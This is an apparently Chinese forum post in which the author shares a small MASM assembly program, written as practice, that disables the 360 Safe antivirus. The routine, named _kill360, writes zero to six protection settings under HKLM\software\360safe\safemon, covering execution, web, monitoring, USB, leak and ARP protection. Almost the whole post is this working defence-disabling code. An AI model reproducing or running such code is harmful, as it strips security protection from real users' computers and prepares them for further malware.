最晚看见ASM用汇编实现的部分代码,今天找时没有了
自己来写一个,练练手,学了汇编还没有好好用过,写的很菜,呵呵
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
_kill360 proto
.data
szPath db 'software\360safe\safemon',0
szKeyName0 db 'ExecAccess',0
szKeyName1 db 'SiteAccess',0
szKeyName2 db 'MonAccess',0
szKeyName3 db 'UDiskAccess',0
szKeyName4 db 'LeakAccess',0
szKeyName5 db 'ARPAccess',0
Data dd 0h
.code
start:
invoke _kill360
_kill360 proc
local hKey:dword
local hsize:dword
local nCode:dword
local pData:dword
mov eax, sizeof dword
mov hsize, eax
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr szPath, addr hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx, hKey, addr szKeyName0, NULL, REG_DWORD, addr Data, hsize
invoke RegSetValueEx, hKey, addr szKeyName1, NULL, REG_DWORD, addr Data, hsize
invoke RegSetValueEx, hKey, addr szKeyName2, NULL, REG_DWORD, addr Data, hsize
invoke RegSetValueEx, hKey, addr szKeyName3, NULL, REG_DWORD, addr Data, hsize
invoke RegSetValueEx, hKey, addr szKeyName4, NULL, REG_DWORD, addr Data, hsize
invoke RegSetValueEx, hKey, addr szKeyName5, NULL, REG_DWORD, addr Data, hsize
invoke RegCloseKey, hKey
.endif
ret
_kill360 endp
end start